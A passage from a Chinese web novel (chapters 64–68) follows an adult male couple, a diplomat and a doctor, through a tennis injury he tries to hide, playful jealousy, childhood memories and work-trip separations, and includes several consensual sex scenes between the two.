余闻嘉走到床边,俯身在他额头上吻了吻:“早餐给你放蒸箱,一会儿起来了就去吃。” “好的。” 余闻嘉健了两小时身,十点半到家。他回来没在家里看到池镜,给他打了通电话。 “去哪儿了?” “到楼下了。”池镜说,“刚去超市买了点菜。” 池镜到家的时候,余闻嘉刚进浴室洗澡,客厅没人,池镜把买的菜放厨房,走到浴室门口叫了声:“闻嘉?” 余闻嘉脱掉上衣,在里面应了声:“怎么了?” 池镜站在门外笑了笑:“确认一下你是不是在家。” 余闻嘉走过去把门打开,看着门外的人:“我不在家还能去哪?” 他刚健完身,刚才又是跑着步回来的,身上的汗还没干透,顺着小腹的肌肉线条滑下来,被裤腰截断,汗水洇湿了他运动裤的松紧带。 池镜走上前在他小腹上摸了一把,笑得漫不经心:“身材不错。” 余闻嘉按住他的手:“头一天知道?” “之前没仔细看。”池镜指尖在他肚脐眼上划了划,“今天很直观。” 上次在浴室撞见余闻嘉光着上半身他还尴尬,今时不同往日,现在都已经大大方方地上手摸了。 余闻嘉刚剧烈运动完,肾上腺素本来就升高了,人还亢奋着,经不住他这么撩扯。 他把池镜拽进浴室,顺手把门关上。池镜还没反应过来,已经被他抱着坐在了洗水池上。 池镜刚才倒不是故意招他,笑着问:“干什么啊……” 余闻嘉手撑在台面上,倾身压过去,沉声道:“我也不知道我要干什么。” 池镜知道这又是他自己惹出来的,他弯着腿,小腿抬起来在余闻嘉腰侧蹭了蹭:“你知道。不然你就不会把我抱这儿来了。” 池镜穿着宽松的棉质居家裤,很轻易地就被拽下来了。余闻嘉没让他离开洗水台,甚至没回房间拿油和t。两人昨天晚上才来过,进得很轻松。余闻嘉抱着池镜,从洗水池转移到淋浴间,池镜两条腿夹着他的腰,两人一刻不曾分离。结束一次后,余闻嘉将池镜摁在瓷砖上,身体倾压过来,从身后继续着。 结束后两人直接在浴室洗了个澡。 没有昨晚折腾得那么久,但从浴室出来的时候也快十二点了,池镜的菜也白买了,哪还有时间做。余闻嘉把他抱回卧室,直接订了个餐。 两个人搂一块在床上躺了会儿。 池镜体力其实也不差,不然哪经得住余闻嘉这么来。他下午还要跟仇亦去打球,之前约的,这次不能再推了。 池镜看了眼墙上的钟,快一点半了,他跟仇亦约的两点半。 “我一会儿得出个门。仇亦约了我下午打球,”池镜在余闻嘉耳边说,“两点半。” 余闻嘉眼睛都没睁:“推了。” 池镜失笑:“之前约的,不好推。” 余闻嘉眉头皱了起来:“……不在家陪我。” 池镜笑着亲亲他的耳朵,哄道:“以后陪,以后周末都陪你。” 余闻嘉睁开眼,手在他屁股上揉了揉:“你这样还能去打球?” 池镜挑了挑眉:“小看我了这是。” 床上这点事就是一回生二回熟,也不是第一次做了,池镜已经适应了,没那么娇气。 “看来强度还是不够。”余闻嘉说,“下次得让你下不来床,才能安安稳稳在家里陪我。” 池镜笑着从床上起来,弯着食指勾了勾他的下巴:“粘人精。” 第65章 第 65 章 我们粘人精可有脾气了。…… 65 池镜走去衣柜那儿找衣服穿。说余闻嘉是粘人精一点也没冤了他, 池镜拿个衣服的工夫,他又从身后贴过来了,身上也没穿衣服, 就穿了条内裤。他比池镜高大半个头,身板也比池镜宽, 池镜在他身前能被他整个笼住。 他胸膛贴着池镜, 抬起手越过池镜的肩膀从衣柜里拿衣服——上次池镜妈妈来这一趟之后, 他就把自己的衣服都搬主卧来了。 池镜侧过头来:“粘人精下午准备干什么?” 余闻嘉边拿衣服边说:“粘人精下午准备黏人。”他垂眸扫一眼池镜,“一会儿我送你去打球。” 池镜眨了下眼睛,笑道:“粘人精要看我打球啊。” “不给看?”余闻嘉套上T恤, 顺手拿走了池镜手里的运动短袖,帮他穿上。 “给。尽管看。” 池镜和仇亦是在室内场馆打的球,余闻嘉看到半程接到了他爷爷打来的电话。老爷子下午开着四轮电动车去郊外钓鱼,回来路上车胎破了,一路漏气, 没能撑到家。现在车坏到半道上,他只好给余闻嘉打了通电话。 老爷子这辆四轮代步车还是余闻嘉给他买的,开了两三年了,日常非常爱惜。 余闻嘉跟池镜说了声, 就赶去他爷爷那儿了。 也得亏余闻嘉走得早, 再多待一会儿就得看到池镜打球摔跤。 球类运动难免磕磕碰碰, 池镜的网球是大学那会儿仇亦教他的,网球是项费钱的运动,他那时候哪有经济条件玩这种高级运动,也就是仇亦爱叫他一起,还把他教入门了。 前些年在国外工作繁忙,也没有固定的球友, 池镜有好几年没有跟人打过网球,回国以后才重新拾起这项爱好。 池镜和仇亦打球是放松性质,不会打得太过火,不然容易受伤。池镜今天有点打兴奋了,飞得老远的球也不管不顾地去接,结果不小心摔了一跤,磕伤了膝盖。还好手即时在地上撑了一下,没有摔得多重。 因为上次打球池镜就不小心被球砸了,仇亦这次特意带了医药包。 池镜坐在球场旁边的长椅上,给伤口简单消了下毒,仇亦弯着腰往他膝盖上喷药,说笑道:“下次都不敢找你打球了,回回都受伤。” 池镜笑了下:“哪是回回,不就两次吗。” “今天干嘛呢,有家属看着打兴奋了啊?横冲直撞的。” 池镜点头:“啊。” 仇亦笑着往他旁边一坐:“人都走了还搁这儿兴奋呢。” 池镜笑着没说话。 说起来两次受伤都跟家属有点关系,上次是因为家属出远门心里挂念人不在状态,这次又是因为家属过来旁观打得兴奋了。 “还好是走了。”池镜拿起椅子上的水喝了一口,“不然看见我摔跤该挂脸了。” 刚才要是不拼死去救那个球,那一跤完全可以避免。这也不是竞争性质的比赛,就是休闲放松的活动,余闻嘉要是知道他是这么伤的肯定得说他。 仇亦乐了:“池处夫管严的人设屹立不倒。” 等药干了,池镜把裤腿放下来,站起来稍微动了动腿。 还好,没伤着骨头,活动自如。 池镜还打算继续打,仇亦笑道:“你可算了吧,你这腿再蹦跶几下分分钟就肿了,还打呢。” 池镜动了动膝盖:“没那么严重。” 仇亦摇头,开玩笑道:“管你严不严重,我不打了。回头你家那位知道你受着伤还继续打,挂脸了怎么说?还得赖我。” 池镜被他逗笑了。 后来两人没再继续打,去休息区歇了会儿,点了两杯喝的,坐着聊天。 余闻嘉处理完他爷爷那边的情况,又立马赶回了网球场馆。他在路上给池镜打了通电话,池镜很快接了,应该是没再打球。 “我过来了。”余闻嘉说,“你打完了?还是在休息?” “打完了。” “我十五分钟到。” “好。” 池镜是个报喜不报忧的性子,膝盖伤了下意识不想让余闻嘉知道。也好在今天穿的是长裤,能把摔的地方挡住。他上了车,没提刚才摔跤的事。 “回来得挺快,”池镜把球拍放在后座,“老爷子呢,人和车都给送回去了?” “嗯。”余闻嘉转头看了他一眼。池镜打完球出了一身汗,头发有点潮,被他随意地捋到脑后,没了头发的遮挡,眉眼露了出来。这样状态下的他,不经意间透着股性感。 池镜低着头系安全带,抬头时发现余闻嘉靠过来想亲他。他往后躲了一下,笑着推开他的下巴:“这一身臭汗还亲呢……等我回去洗得香喷喷再亲。” 余闻嘉拉开他的手,捏着他的下巴在他嘴上亲了一下,亲完嘴把他头发往后抚了一下,又在他额头上亲了一下。 池镜闭眼笑着:“粘人精发力了是吧。” “是的。”余闻嘉松开他,坐回去启动车子。 池镜到家先去洗了个澡,洗的时候伤口免不了碰到水,一碰水就疼了。膝盖一疼,腿就站不直。余闻嘉在卧室换床套,看他从外面走进来,走路姿势有点不自然。 要换了别人,绝对看不出池镜腿有什么问题。 但现在面前的人可是余闻嘉。 “腿怎么了?”余闻嘉盯着他的腿。 池镜知道瞒不过了,老实道:“刚打球摔了下。” 余闻嘉眉头一皱:“摔哪儿了?” “没事,皮外伤——” “问你摔哪儿了。”余闻嘉走过来,把他一条裤腿往上一掀。池镜伤的就是这条腿,膝盖上磕破了,皮肤表层有紫色的淤血。 “刚才怎么不说。”余闻嘉抬眼看向他,眉心蹙着,语气不太温柔。 “小伤……”池镜笑了笑,“犯不着专门跟你提一嘴。” “犯不着?”余闻嘉把他裤腿放下来,“我们俩现在什么关系,你说犯不着。” “我不是那个意思……” 余闻嘉手垂在身侧,看着他,表情冷冷淡淡的。 池镜笑着勾了一下他的小拇指:“哎你又给我挂脸……你知道我不是那个意思,我就是习惯了这样,下意识不想跟你说……” “我哪挂脸?”余闻嘉反问。 池镜戳了一下他的脸蛋:“你哪没挂脸?这脸冷的,泼一盆水上去都能立刻结冰。” “你习惯哪样?”余闻嘉问他,“出点什么情况第一时间先想怎么瞒着我?” 池镜习惯了报喜不报忧,像他之前撤侨经历的那次险情,他到现在都没跟余闻嘉提过,并且永远不打算提。 “都说了是小伤……”池镜语气软下来,轻轻捏着他的小拇指。 “小事都不提,大事更不会提了。”余闻嘉不是小题大做,只是他了解池镜的性子,他得借着今天这件小事把池镜这个“习惯”拗过来,“把你这习惯改掉,以后别再有这种‘下意识’。” “你不是第一次这样了。”余闻嘉看着他说,“上次被球砸着脑门,我问你,你第一反应也是掩饰,还跟我扯谎。你这个习惯好吗?” 池镜没想到余闻嘉还记着这事,还记得门儿清,连他扯那一句小谎都记得。 “问你这个习惯好不好?”余闻嘉问他。 池镜乖乖回答:“不好。” “改不改?” 池镜点头:“改。” “别总想着我会不会担心,你什么都不说我更担心。”余闻嘉说,“以前你不说,我不问你,那是我觉得我没那资格问,不代表我不挂心。” 他话音停了一下,继续道:“你每次去国外办事,我都很挂心,时时刻刻都挂心。” 池镜眼眸微微一颤,上前一步抱住他。 “你明白我什么意思吗镜哥?”余闻嘉在他耳边问。 池镜轻声说:“明白。” “以前怎么样我不管,以后你遇到什么事,都第一时间跟我说。”余闻嘉抚摸着他的后颈,“不许一个人扛着。” 池镜吻了吻他的耳垂:“知道了闻嘉。” “腿摔得疼不疼?”余闻嘉松开他,低头看了眼他的膝盖。 “疼。”池镜搂住他的脖子,“都摔紫了,能不疼么。” 余闻嘉眼神淡淡的:“刚才不说是小伤?” 池镜绷不住笑了:“谁说小伤就不疼了。疼死了,闻嘉快给呼呼。” 余闻嘉眼里也透出了点笑意,问他:“摔没摔着骨头?” “没。” 余闻嘉朝床那边抬了抬下巴:“去床上坐着,我去给你拿药。” “都说了我腿疼。”池镜勾着他的脖子不放,“怎么没有一点自觉。” 余闻嘉忍不住笑了,池镜凑过来在他嘴角亲了亲:“可算是不挂脸了。” 余闻嘉把他抱起来:“谁跟你挂脸了,我不笑的时候就这表情,脸就这样。” 他把池镜抱到床上坐着,去客厅拿了药箱过来。 池镜坐在床边,余闻嘉指腹在他膝盖骨上摁了摁:“确定没摔着骨头?这么按疼吗?” “不疼。” 余闻嘉帮他抹药,皱眉道:“怎么回回打球都得受点伤……” “网球么,难免的,球速那么快呢。” 余闻嘉抬眼看向他:“你就不能悠着点打,又不是打比赛。” 池镜笑了笑:“还想着摔的时候没让你看见,你不至于跟我挂脸,没想到还是没逃过一劫。” 余闻嘉淡淡道:“你还怕我挂脸。” “怕啊。哎哟我们粘人精可有脾气了。”池镜笑着说,“仇亦说我夫管严真是一点没冤了我。” 余闻嘉垂眼笑着,没说话。 上好药,池镜抬了抬膝盖,说:“闻嘉给呼呼。” 余闻嘉低下头,对着他的伤口呼了呼。 第66章 第 66 章 这醋吃得还对味儿?…… 66 池镜这阵子出差有点频繁, 刚从外地回来没几天又出了趟国,出席了场领事磋商会议。他这一出国又是四五天,除了开会还有别的事。他出差期间, 余闻嘉基本不会在白天联系他,都是晚上给他发消息。第五天池镜还没回国, 这么多天余闻嘉第一次发消息问:什么时候回来? 池镜:暂时不确定, 下周肯定能回来。 余闻嘉:好。 他也就是池镜在跟前的时候黏人, 池镜一旦出差工作,他就没那么黏了,甚至还显得有点边界感。 差不多隔了半小时, 池镜临睡前才看到手机又亮了一下,屏幕上是余闻嘉发来的消息:想你了。 池镜发了条语音过去:我也想闻嘉。 为着这句“想你了”,池镜结束完这边的工作就立刻订了回国的机票,连给自己缓口气的工夫都没留,当天就飞回国了。他没提前通知余闻嘉, 提前说了余闻嘉肯定得来机场接他,落地太晚了,他不想让他大老远的赶一趟。 池镜到家的时候,家里没人, 他给余闻嘉打了通电话。 “镜哥?” “人呢?”池镜去厨房倒了杯水喝, “还在医院加班?” 余闻嘉没在医院, 他在实验室,池镜不在这几天,晚上只要不加班他就会去实验室,待得晚了就直接住宿舍。 余闻嘉停下手头的实验,拿着手机站了起来,“你回来了?” “啊。”池镜笑着喝了口水, “到家了都。你还在医院?” “没,在实验室。”余闻嘉边说话边收拾桌面,“我马上回来。” 池镜放下水杯,走到玄关拿了车钥匙,“我来接你。” “不用。” “这个点地铁都停运了。”池镜出去关上门,“等我。” “嗯,好。” 这个点还在实验室的除了余闻嘉,还有苏文。余闻嘉收拾好东西就下了楼,在实验室一楼大厅坐着等池镜。没多久苏文也下来了,看见他脚步一停:“师兄你坐这儿干嘛呢? “等人。”余闻嘉低头看消息,池镜已经到了,他站了起来。 池镜坐在车里,看到余闻嘉和苏文一前一后从实验室大楼里走了出来。 苏文朝池镜车子的方向看了一眼,车窗开着,他能看到里面坐着的人。这一位他有印象,之前见过两面。 自从上次表白被拒后,苏文很干脆地接过这茬了,权当什么事都没发生过,也没有刻意跟余闻嘉保持距离。没必要。两个人一个组的,经常会碰面,正常相处就行了。 余闻嘉当初说他结婚了,苏文第一反应不信,后来回过味来就信了。他知道以余闻嘉的性格,不可能拿这种事当回绝别人的理由。 他其实还是挺好奇的,好奇车里坐着的那位是不是就是跟余闻嘉结婚的人。 苏文笑着问了一句:“你等的人就是那一位吗?” 余闻嘉回头看他一眼。 苏文朝池镜的方向抬了抬下巴:“师兄,你之前说你已经结婚了,是跟车里的那位吗?” 余闻嘉说:“是。” 苏文点了点头:“看来我的直觉还是没错啊。” 余闻嘉看着他。 苏文淡淡一笑:“第一次见你俩就觉得不对劲。” 余闻嘉没说什么,只道:“走了。” “好,回见,师兄。” 余闻嘉坐进副驾,池镜看向窗外,跟不远处的苏文对视了一眼。苏文冲他礼貌地笑了笑,他也回以微笑。 “看他干什么。”余闻嘉出声,“看我。” 池镜转过头来,笑道:“看着呢。” “说了才看。”余闻嘉系上安全带,“没自觉。” 一见面这黏人劲儿就又冒出来了。 池镜失笑:“把我眼珠子抠出来粘你身上得了,省得我再去看旁的。” 苏文从车旁经过,池镜目光往他那儿掠了一眼,挑着眉问余闻嘉:“这是你实验室的师弟?” “是。” “叫苏文?” 余闻嘉转头看他一眼,说:“是。” 池镜点了点头,没再说什么,准备发动车子。 余闻嘉问:“没什么要问的了?” “嗯?”池镜动作一停,扭头看了他一眼,“什么?” “苏文。” 池镜没太反应过来:“什么意思?我问他什么?” “你都知道他叫苏文了,还没什么想问的?光确认下名字就行了?” 池镜不知道他想表达什么,笑了声:“弯弯绕绕的说什么呢,把话说清楚了。” “他那天发我的微信,你是不是看到了。” 池镜挑了挑眉:“嗯,看到了。” 余闻嘉淡淡道:“那你反应倒是挺平淡,看起来没个吃醋的样子。” 池镜终于跟上他的脑回路了,合着是自己没吃醋,不高兴了。 他笑道:“谁跟你说我没吃醋,我那天不是问你为什么没戴戒指,你当我随口问的?” “今天呢,”余闻嘉故作较真,“今天怎么不吃醋。” 池镜笑得说不出话来。 某人今天三岁,不能再多了。 “行,我立马来吃个醋。”池镜说醋就醋,立刻拉下脸,“我问你,你跟他怎么大半夜的还一块在实验室?还一块从实验室出来?” 余闻嘉看着他,眼底有不太明显的笑意。 池镜问他:“这醋吃得还对味儿?” “表演痕迹太重。”余闻嘉评价。 池镜乐了,坦言道:“今天有点表演的成分,那天可没有,我那天是真有点吃醋。” 余闻嘉咬文嚼字:“有点?” 池镜笑着捏了捏他的脸:“以前怎么没发现你这么幼稚。” 余闻嘉抓住他的手,歪着头脸在他手心蹭了蹭:“不幼稚怎么让你哄我。” 第67章 第 67 章 你要打报告你就别用了。 67 一到家, 灯还没开,门刚关上,池镜就被余闻嘉压在门板上吻住了。行李箱在池镜脚边, 他转身靠过来的时候,膝盖不小心在箱子上撞了一下, 挺大的一声响, 池镜赶忙推开他, 抬手去摸墙上的开关,把廊灯打开了。 “撞哪儿了?”池镜低下头看了眼。 “没事。”话音未落,余闻嘉又捏住他的下巴吻了过来。 池镜抬起胳膊环住他的脖子, 余闻嘉往前一抵,压他更紧。两个人胯抵着胯,轻轻磨蹭。余闻嘉搭在池镜腰间的手缓缓下移,抚到他腿侧。他微微下腰,手托住池镜的大腿把他抱了起来, 转身朝客厅走去。 家里只有廊灯亮着,越往里走越暗。 余闻嘉没回卧室,抱着池镜走到沙发那儿,俯身把池镜压倒在沙发上。客厅空旷, 阳台门开着, 窗帘也没拉, 他们在一个相对开放的空间,这让池镜有点不习惯,他被余闻嘉困在身下,深入触碰让他气息不稳。 “闻嘉……”他喘息着叫余闻嘉的名字,“去把窗帘拉上。” “没人看见。”余闻嘉手上动作不停,“已经很晚了。” 他今天有些急躁, 以往都会注意不在池镜脖子上留痕迹,今天却没收住,唇抵在池镜颈侧脉搏处,轻轻吮吸。池镜偏过头缩了一下脖子,提醒地叫了声“闻嘉”。 余闻嘉回过神,及时止住了。 池镜的职业不比其他,他不能在露肤的地方留下这种痕迹。 余闻嘉舔了舔他颈侧,低声说:“对不起。” 池镜捧住他的脸,含笑道:“又说对不起。” “以后注意。”余闻嘉说着一动。 池镜闭上眼浑身一抖,之后便无暇再说话了,嘴里只有一声声低哼。 余闻嘉伏低身子,在他耳旁低声说着“想你”。 结束之后,池镜整个人趴在余闻嘉身上,两个人摞在一起,感受着彼此的心跳。 缓了一会儿,余闻嘉搂着池镜的腰把他抱起来,池镜两条腿轻车熟路地缠上他的腰,挂在他身上。天热了,活动完两人一身汗,身上有点黏。余闻嘉把池镜抱去浴室洗澡,从洗水台置物柜里拿了一整盒湿巾,去收拾客厅。 好在沙发是皮的,收拾起来比较方便。他俩刚才挺荒唐,连茶几都弄得一塌糊涂。余闻嘉把地上的衣服捡起来扔进阳台洗衣机里,然后拿湿巾把沙发和茶几擦干净,也擦了擦地板。这一通收拾,用了半盒湿巾。 他又回浴室拿了块干净的大毛巾,过水之后又去客厅把沙发和茶几擦了一遍,擦完顺便把地也拖了一下。 池镜洗完澡出来,客厅已经没有那股味道了,余闻嘉穿着条内裤,站在沙发那儿喷清新剂。 池镜累得刚才冲澡的时候都懒得动,谁知道他洗个澡的工夫,余闻嘉都已经把客厅收拾干净了。 他看着余闻嘉笑了下:“你精力怎么那么好呢。” 余闻嘉抬眼看过来,说:“我这个年纪精力不好才有问题。” 池镜笑着朝卧室走去,“你这已经不是一般的好了。快去洗澡,洗完回来陪我睡觉。” 余闻嘉洗完澡把池镜的行李箱推到了卧室,拉开拉链把箱子展开,问池镜哪些衣服是脏的,要洗,他现在拿去放洗衣机里一起洗了。 “都干净的,”池镜说,“都在酒店里洗过了。” 余闻嘉把他衬衫拿出来,抻开打算挂衣柜里,池镜说:“放那儿就行,不用挂起来。” 余闻嘉抬头看他一眼。 池镜过几天还得出趟国,他都不知道该怎么跟余闻嘉说这事,明明才刚回来。 池镜眉心微蹙,余闻嘉放下衣服走过来,在床边坐下来,看着他问:“皱什么眉?” 池镜拉住了他的手,一时间没说话。 “是不是过几天还要出差?”余闻嘉问他。 池镜点了点头。 “什么时候?” “下周三。” 余闻嘉躺上床,抓着他的手指捏了捏,问他:“累不累?” “不累。”池镜转头看了他一眼。 余闻嘉虽然现在会大大方方地黏人,池镜周末不陪他他会发点“小脾气”,直白地表达自己不高兴,但如果池镜是因为工作出差没办法在家陪他,他就完全不会这样,他甚至不会在池镜面前表现出不舍的情绪。 “明天休息吗?”池镜问他。 “不休。” 池镜一愣:“你明天还要上班?” “要。” 池镜看了眼墙上的钟,都快两点了。 “你怎么不早说,这一通折腾。”池镜关上床头灯,“明天你怎么起得来。” “早说了就不会折腾了?”余闻嘉在黑暗中说,“我想折腾你也拦不住。” “确实拦不住,谁能拦得住你。”池镜笑着轻拍他的胸口,“你快睡吧小祖宗。” 余闻嘉握着他的手,低声问他:“这几天有没有想我?” 池镜凑到他耳边,亲了亲他的耳垂:“想。不想我也不会今天晚上就赶回来了。” 余闻嘉翻身将他搂在了怀里。 余闻嘉这周末连着两天都加班,周日老爷子本来想让他陪自己去钓鱼,又赶上他上班没时间,正好池镜这天休息,就替他陪老爷子钓鱼去了。下午收获颇丰,池镜还钓了条大草鱼,摘钩的时候鱼直扑棱,跳到他身上,从胸口直溜溜滑下去,蹭得他衣服上都是水痕。 钓完鱼,池镜开车带老爷子回了老宅。他被那条大青鱼弄得一身水,身上一股腥味,老爷子让他去余闻嘉的房间洗个澡,换身衣服。 家里他妈和姥姥在,都是女士,家里地方又小,他回家洗澡确实不太方便。 余闻嘉的卧室在东房,一间独立的大屋子,卧室旁边就是卫生间。 老爷子让池镜穿余闻嘉的衣服,让他自己在他衣柜里找。 正巧余闻嘉打了通电话过来,问他钓完鱼没。 “钓完了。”池镜说,“你下班了?” “下了。” 老爷子转头看向池镜,说:“让他一会儿过来吃晚饭。” 池镜点了点头,跟余闻嘉说:“你直接来爷爷这吃晚饭吧。要接你吗?” “不用,我已经上地铁了。” “行。”池镜朝余闻嘉的房间走去,“跟你打个报告,我现在要进你房间了,还要征用一下你的卫生间和你的衣服。” “这需要打报告吗?” 池镜笑了下:“还是需要的。” “你要打报告你就别用了。” 池镜笑道:“不让我用啊?” “不让。”余闻嘉说,“进个房间还要打报告,我们俩不熟是吗。” “熟,最熟了。”池镜低头笑着,“让吧,我下次不打报告了。我都到你房门口了。” “让不让啊?”池镜问。 余闻嘉“嗯”了声,说:“让。” “谢谢领导。”池镜打开房门走了进去。 “你怎么了?钓鱼把身上弄脏了?”余闻嘉问。 “啊,鱼扑我身上,弄我一身水,一股味儿。” 余闻嘉这间屋子平时没人住,但保姆每周都会打扫,所以屋里很干净。 眼前的一切还是记忆中的样子,池镜不由得回想起第一次来这里找余闻嘉,那是个冬日的周末,他说好要带余闻嘉去冰场滑冰,来家里找他却听他爷爷说他发烧了,刚挂完水,还在屋里睡着。 池镜敲门进屋,余闻嘉躺在床上,半张脸被被子挡住,他微微睁开眼往门口看了一眼。 池镜走到床边,弯下腰问:“怎么样了?好点没?” 余闻嘉病恹恹的,嗓子也有点哑:“我再躺半小时就好了,你等我。” 池镜笑了:“都这样了还想着去滑冰呢。” 余闻嘉小时候体质弱,隔三差五就生病,这时候他初二,很黏池镜。 “我可以滑。”余闻嘉说。 “你不可以。”池镜帮他把被子往上拉了拉,“好好睡觉。” “我不要睡觉。” “你要。”池镜摸了摸他的额头,“你别跟我犟,再犟以后都不带你滑冰了。” 余闻嘉拧着眉,没吭声。 没过片刻,池明风风火火地推门进来:“还走不走了啊?” 他看了眼睡在床上的余闻嘉,走过来道:“这是咋了?生病了啊?” “发烧了。”池镜说。 “挂水没?” “挂了。” “那你在家好好歇着吧。”池明招呼他哥,“咱走吧哥,让他睡。” 没等池镜说话,余闻嘉手从被子里伸出来,攥住了他的手,他沉默地盯着池镜,池镜俯下身来问他:“怎么了?” 他抿了抿嘴,垂下眼眸小声说:“别走。” 池镜在床边坐下来,“行,不走。” 余闻嘉把他手拉进被窝里,紧紧攥着。 “不是……”池明站一旁笑了,“你小子生病怎么还限制我哥的人身自由呢。你不去滑冰了啊哥?” “你自己去吧。”池镜转头看他一眼,“又不是找不着人陪你。” 池明“啧”了一声:“到底谁是你弟,我真的要吃醋了。” “吃吧。”池镜笑了笑,“没人拦着你。” 同样是弟弟,余闻嘉比池明会撒娇,没办法,池镜很吃这一套。而且余闻嘉比池明还小三岁,正经还是个小男生,性格又有点敏感,招人疼,池镜肯定会下意识更宠他一点。 池明站在那儿还不走,余闻嘉生怕他把池镜带走,冷酷地赶人:“你还不走?” 池明双手抱胸:“我不走你能怎么的。” 余闻嘉眉头拧了起来,看向池镜:“哥,他在这影响我休息。” 池镜看着池明:“你该干嘛干嘛去吧,别在这杵着了,明天早上给你买鸡蛋饼。” 池明眼睛一亮:“这可是你说的啊,我要加俩里脊。” 池镜点头,随后摆摆手,示意他走人。 池明走后,余闻嘉转过头,把脸贴在池镜的胳膊上,闭上眼嘀咕了一句:“真烦人。” 池镜笑着弹了弹他额头:“心眼还挺多。” 余闻嘉睁开眼睛,池镜问他:“我在这就不影响你休息了?” 余闻嘉拿脸轻轻蹭着他的手腕,一生病更黏人:“不影响。” 第68章 第 68 章 别装。你该黏黏。 68 池镜打开衣柜, 从里面拿了件短袖和运动裤,他余光一晃,瞥见衣柜最上层一格的角落有个毛绒玩偶——一只穿着宇航服的白色小熊。 同样的小熊池镜也有一只, 他的是棕色的,跟这只小熊是一对。那是余闻嘉送他的第一个礼物, 池镜记得是在他高一, 新年那天。那时候余闻嘉初二, 搬来他爷爷这儿差不多一年了。 池镜把小熊拿下来看了眼,手指在小熊脑袋上轻轻弹了弹。 他把小熊放回去,拿上衣服进了浴室。 钓鱼出了一身汗, 池镜顺带洗了个头,天热了,浴室里待久了闷得慌,他洗完澡没吹头,直接顶着一头湿发回了房间, 头上盖了块毛巾。 余闻嘉三分钟前刚到家,这会儿正在房间里,毛巾有点遮挡视线,池镜一开门, 余光隐约看见床边坐着个人影, 没由得一愣。 余闻嘉低着头在看手机, 闻声抬了下头。 “吓我一跳……”池镜把头上的毛巾往后扯了扯,顺手关上房门。 “这就吓一跳了,我要直接进浴室你不得吓两跳。” “那你可吓不着,”池镜笑着说,“浴室门我给锁了,你进不来。” “别低估小年轻的力气和手段。”余闻嘉把手机放床上, 看着他,“过来。” 池镜走过去,站他面前,弯着眼睛笑笑:“过来了。” “要抱你。”余闻嘉说。 床旁边是一整面落地窗,窗帘没拉,从屋里能看到外面的院子。池镜走过去把窗帘拉上,还想去把门锁了,结果刚一转身就被余闻嘉拽着胳膊一把拉到了怀里。 池镜跌坐在余闻嘉身上,余闻嘉从后面圈住他的腰,鼻尖抵着他的后颈蹭了蹭。池镜刚洗完澡,身上有股沐浴露的清香,脖子上有发梢滴落的水珠,颈间冰冰凉凉的。 池镜失笑:“让我锁个门行不行?” “没人会进来。”余闻嘉抱着他不撒手。 “万一呢。” “我又不干什么。”余闻嘉侧过头看着他,“你以为我要干什么。” 池镜笑了一声:“你是觉得你现在没在干什么?” “我干什么了,”余闻嘉亲亲他的脖子,“抱一下怎么了。” 池镜笑了笑,没再说什么,任由他抱着。他头朝后仰了仰,说:“给我擦擦头发。” 余闻嘉“嗯”了声,按着毛巾轻轻搓着他头发。 今天一大家子一起吃的晚饭,走前池镜跟余闻嘉说:“我回家拿个东西。” 余闻嘉陪池镜一起去了他家老宅,看见他进房间打开衣柜,从最底层拖了个箱子出来。池镜打开箱子,从里面拿出了余闻嘉很多年前送他的宇航员小熊。 余闻嘉看着他手里的小熊一愣。 小熊被池镜保存得很好,还拿一个透明的塑料盒单独装起来了,这些年他东奔西走,小熊就留在这间屋里,跟他的年少时光一起封存在这。 “去把你房间的那只小熊也拿上吧。”池镜拿着小熊在余闻嘉眼前晃了晃,“带它们一起回家。” 余闻嘉看着他手里的小熊良久,最后抬眼看向他,点头“嗯”了一声。 两个人走在巷子里,一人手里拿了只小熊。池镜低头看了眼自己手里的这只,不免想起了一些事情。 “还记得有次你发脾气,把这熊丢垃圾桶的事吗?”池镜开口问。 余闻嘉沉默片刻,说:“不记得。” 池镜笑了声,转头看向他:“真不记得还是假不记得?” “不想提这个。” “为什么不想提?” “没什么好提的。” “可我想提。”池镜脚步停下来,“闻嘉——” 余闻嘉也停下来,看着他。 “你那时候是不是以为我在跟别的女生在谈恋爱?”池镜问他。 余闻嘉说:“是。” “我没有。”池镜说,“赵雨霏跟我只是朋友——” “我知道。” 之前校庆的时候,余闻嘉就知道了。池镜和赵雨霏之间那个相处状态,不太可能是前男女朋友的关系。当然,是不是对余闻嘉来说都不重要了,池镜以前有没有谈过恋爱,有没有跟女生交往过,这都不重要。他已经拥有了池镜,也拥有了池镜的以后。从前如何,不值一提。 “什么时候知道的?”池镜问他,“自己琢磨明白的?” “嗯。”余闻嘉拉着他的手,继续往前走。 想到余闻嘉当初因为这事闹那么大的情绪还憋着不吭气,池镜还觉得有点心疼。他捏了捏余闻嘉的手指,说:“你当初就不会直接问问我?” “我怕听到我不想听到的答案,我也不想亲耳听到你说你跟别人在一起。” “所以我不想提这事。”余闻嘉转头看着池镜,“提它就会让我想起来我错过的那几年。” “——我从以前开始就太小心翼翼了。” 池镜笑了笑,攥紧了他的手,“你也说了是以前。” 余闻嘉“嗯”了一声:“所以那些都不重要了,没必要提。” 他们牵着手,慢慢悠悠地穿过小巷,他们往前看着,也往前走着。 池镜回国没几天,周三又出国了,去一个免签的岛国出席领事馆落成典礼。这趟出差让他错过了余闻嘉的生日。 余闻嘉周五生日,池镜当天还在国外。他卡着零点给余闻嘉发了条语音祝福,晚上回酒店又给余闻嘉打了个视频电话。 池镜不在家,余闻嘉这个生日过得也不含糊,家里那么多长辈在呢,必不会含糊。 池镜电话打来的时候,余闻嘉正在收拾行李,他明天要跟齐教授去外地参加学术会议,得出个短差。 余闻嘉把手机架在床上,接通视频,继续半蹲在那儿收拾行李。 “生日快乐,闻嘉。”池镜一回酒店就给余闻嘉打了电话,视频里的他边走边说话,背景从门变成了床。 他那边跟国内几乎没时差,余闻嘉看了眼时间,已经晚上十一点多了。 “才忙完?”余闻嘉问他。 “去参加了个酒会,刚结束。”池镜扯下领带挂在衣架上,看到视频里余闻嘉在往行李箱里放衣服,“怎么在收拾行李?要出差?” “明天要去外地参加个会。”余闻嘉说。 “去几天?” “会开两天,估计第三天回来。” “你去洗澡吧,”余闻嘉怕他累着,“洗完早点休息。” “不想跟我多聊会儿啊。” “怕你累。”余闻嘉抬眸看一眼视频里的人,“回来有的是时间聊,不差这一时半会儿。” 池镜一出差他就这样,生怕自己占他的时间。 “怎么不问问我什么时候回来。”池镜说。 “我不问。”余闻嘉低着头叠衣服,“你什么时候回来提前跟我说。我接你。” 池镜在床上躺下来,手机举在眼前沉默了半晌,忽然问:“闻嘉,我总这样各处去,会不会让你觉得不踏实?” 余闻嘉手上动作一停,抬眼看向屏幕。 